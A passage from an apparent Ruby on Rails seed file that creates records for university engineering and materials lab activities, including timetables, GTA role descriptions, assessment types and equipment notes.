UniModule.where(code: \"CPE260\").first.id, code: \"127\").first_or_create!(name: \"Exp 2: Consigma Back\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at419 = ActivityTimetable.where(activity_id: a419.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 7, max_week_num: 11, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 5, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a419.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a419.id).first_or_create!(criteria: \"Interest/experience in powder science and technology. Preferably have a good understanding in different unit operations used for granulation and tableting. The equipment is an industrial scale has various unit operations linked together in one line.\",\n job_desc:\"In this lab, GTAs are required to supervise groups of students to work on the continuous tabletting line- Consigma in the Pilot plant and carry out an experimental investigation. Students will need to run the line and produce some granules and tablet as well as collect different types of data. Statistical analysis will then be carried out to determine the variability of the measured and calculated values. As a GTA, training will be provided for the experiments, and you will be marking the students for their pre-lab and in lab assessments as well as assisting them to carry out the experiment safely and help them to change some process parameters.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a419.id).first_or_create!(assess_weight: 33.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a419.id).first_or_create!(cost_per_student: nil, equip_needed: \"ModulP, MT50 Hardness Tester\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a419.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a420 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE103\").first.id, code: \"128\").first_or_create!(name: \"Mixing of Liquids\",\n name_abrv: \"E3 GEE\", archived: false, in_drive: false, user_id: 4)\n at420 = ActivityTimetable.where(activity_id: a420.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a420.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a420.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a420.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 1)\n ActivityTech.where(activity_id: a420.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a420.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a421 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR336\").first.id, code: \"200\").first_or_create!(name: \"Ceramics 1\",\n name_abrv: \"Ceramics 1\", archived: false, in_drive: false, user_id: 5)\n at421 = ActivityTimetable.where(activity_id: a421.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a421.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a421.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a421.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a421.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a421.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a422 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"MAT377\").first.id, code: \"307\").first_or_create!(name: \"Schottky lab for MAT\",\n name_abrv: \"SCHOTTKY - MAT\", archived: false, in_drive: false, user_id: 5)\n at422 = ActivityTimetable.where(activity_id: a422.id).first_or_create!(duration: 180, kit_prep_time: 180, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 12, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a422.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"MAT Schottky\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a422.id).first_or_create!(criteria: \"Experience with chemical processing (preferably, but not necessarily in clean room). Knowledge of basic testing of devices (IV).\",\n job_desc:\"Assist undergraduate students to make and test a Schottky diode in the Diamond clean room.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a422.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a422.id).first_or_create!(cost_per_student: nil, equip_needed: \"All equipment as per CCEE.1.06.002 and CCEE.1.06.003 except LCR meters\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a422.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a423 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2220\").first.id, code: \"200\").first_or_create!(name: \"Ceramics I\",\n name_abrv: \"CERAMICS1\", archived: false, in_drive: false, user_id: 2)\n at423 = ActivityTimetable.where(activity_id: a423.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a423.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a423.id).first_or_create!(criteria: \"Hands-on experience on either key material characterisation techniques such as XRD, DSC, and SEM.\",\n job_desc:\"To construct a phase diagram for the solid solution Ba1-xSrxTiO3 using experimental data from a combination of experimental techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a423.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a423.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a423.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a424 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR236\").first.id, code: \"201\").first_or_create!(name: \"Composites 1\",\n name_abrv: \"COMP1\", archived: false, in_drive: false, user_id: 3)\n at424 = ActivityTimetable.where(activity_id: a424.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a424.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a424.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a424.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a424.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a424.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a425 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR302\").first.id, code: \"201\").first_or_create!(name: \"Composites 1\",\n name_abrv: \"COMP1\", archived: false, in_drive: false, user_id: 3)\n at425 = ActivityTimetable.where(activity_id: a425.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a425.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a425.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a425.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a425.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a425.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a426 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR236\").first.id, code: \"202\").first_or_create!(name: \"Composites 2\",\n name_abrv: \"COMP2\", archived: false, in_drive: false, user_id: 1)\n at426 = ActivityTimetable.where(activity_id: a426.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a426.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a426.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a426.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a426.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a426.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a427 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR302\").first.id, code: \"202\").first_or_create!(name: \"Composites 2\",\n name_abrv: \"COMP2\", archived: false, in_drive: false, user_id: 4)\n at427 = ActivityTimetable.where(activity_id: a427.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a427.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a427.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a427.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a427.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a427.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a428 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2350\").first.id, code: \"203\").first_or_create!(name: \"Artefacts Project\",\n name_abrv: \"ARTEFACTS\", archived: false, in_drive: false, user_id: 3)\n at428 = ActivityTimetable.where(activity_id: a428.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a428.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a428.id).first_or_create!(criteria: \"\",\n job_desc:\"The students will analyse an artefact and use various characterisation techniques to analyse its properties and materials. They will use FTIR, XRD, SEM, DSC and variuos mechanical testing techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a428.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 1)\n ActivityTech.where(activity_id: a428.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a428.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a429 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"204\").first_or_create!(name: \"Atomic structure\",\n name_abrv: \"ATOMIC\", archived: false, in_drive: false, user_id: 1)\n at429 = ActivityTimetable.where(activity_id: a429.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a429.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a429.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a429.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a429.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a429.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a430 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"20\").first_or_create!(name: \"Atomic Structure\",\n name_abrv: \"ATOMIC\", archived: false, in_drive: false, user_id: 5)\n at430 = ActivityTimetable.where(activity_id: a430.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a430.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a430.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a430.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a430.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a430.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a431 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"205\").first_or_create!(name: \"Cement making\",\n name_abrv: \"CEMENTMAKING\", archived: false, in_drive: false, user_id: 5)\n at431 = ActivityTimetable.where(activity_id: a431.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 60, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a431.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a431.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To gain experience in the basic processes involved in cement hydration, the effect of mix design parameters on mortar rheology and strength. How to deal with statistical variation associated with the destructive testing of brittle materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a431.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a431.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a431.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a432 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"206\").first_or_create!(name: \"Cement making and testing\",\n name_abrv: \"CEMENT\", archived: false, in_drive: false, user_id: 4)\n at432 = ActivityTimetable.where(activity_id: a432.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a432.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a432.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To gain experience in the basic processes involved in cement hydration, the effect of mix design parameters on mortar rheology and strength. How to deal with statistical variation associated with the destructive testing of brittle materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a432.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a432.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a432.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a433 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"207\").first_or_create!(name: \"Cement Testing\",\n name_abrv: \"CEMENTTESTING\", archived: false, in_drive: false, user_id: 3)\n at433 = ActivityTimetable.where(activity_id: a433.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a433.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a433.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To gain experience in the basic processes involved in cement hydration, the effect of mix design parameters on mortar rheology and strength. How to deal with statistical variation associated with the destructive testing of brittle materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a433.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a433.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a433.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a434 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT377\").first.id, code: \"200\").first_or_create!(name: \"Ceramics I\",\n name_abrv: \"CERAMICS1\", archived: false, in_drive: false, user_id: 4)\n at434 = ActivityTimetable.where(activity_id: a434.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a434.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a434.id).first_or_create!(criteria: \"Hands-on experience on either key material characterisation techniques such as XRD, DSC, and SEM.\",\n job_desc:\"To construct a phase diagram for the solid solution Ba1-xSrxTiO3 using experimental data from a combination of experimental techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a434.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a434.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a434.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a435 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2220\").first.id, code: \"208\").first_or_create!(name: \"Ceramics II\",\n name_abrv: \"CERAMICS2\", archived: false, in_drive: false, user_id: 4)\n at435 = ActivityTimetable.where(activity_id: a435.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a435.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a435.id).first_or_create!(criteria: \"Hands-on experience on either key material characterisation techniques such as XRD, DSC, and SEM.\",\n job_desc:\"To construct a phase diagram for the solid solution Ba1-xSrxTiO3 using experimental data from a combination of experimental techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a435.id).first_or_create!(assess_weight: nil, notes: \"No assessments\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a435.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a435.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a436 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT377\").first.id, code: \"208\").first_or_create!(name: \"Ceramics II\",\n name_abrv: \"CERAMICS2\", archived: false, in_drive: false, user_id: 3)\n at436 = ActivityTimetable.where(activity_id: a436.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a436.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a436.id).first_or_create!(criteria: \"Hands-on experience on either key material characterisation techniques such as XRD, DSC, and SEM.\",\n job_desc:\"To construct a phase diagram for the solid solution Ba1-xSrxTiO3 using experimental data from a combination of experimental techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a436.id).first_or_create!(assess_weight: nil, notes: \"No assessments\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a436.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a436.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a437 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR336\").first.id, code: \"209\").first_or_create!(name: \"Characterisation of unknown polymers\",\n name_abrv: \"UN_POLY\", archived: false, in_drive: false, user_id: 3)\n at437 = ActivityTimetable.where(activity_id: a437.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a437.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a437.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a437.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a437.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a437.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a438 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6276\").first.id, code: \"210\").first_or_create!(name: \"Charpy notch testing of steel\",\n name_abrv: \"CHARPYNOTCH\", archived: false, in_drive: false, user_id: 1)\n at438 = 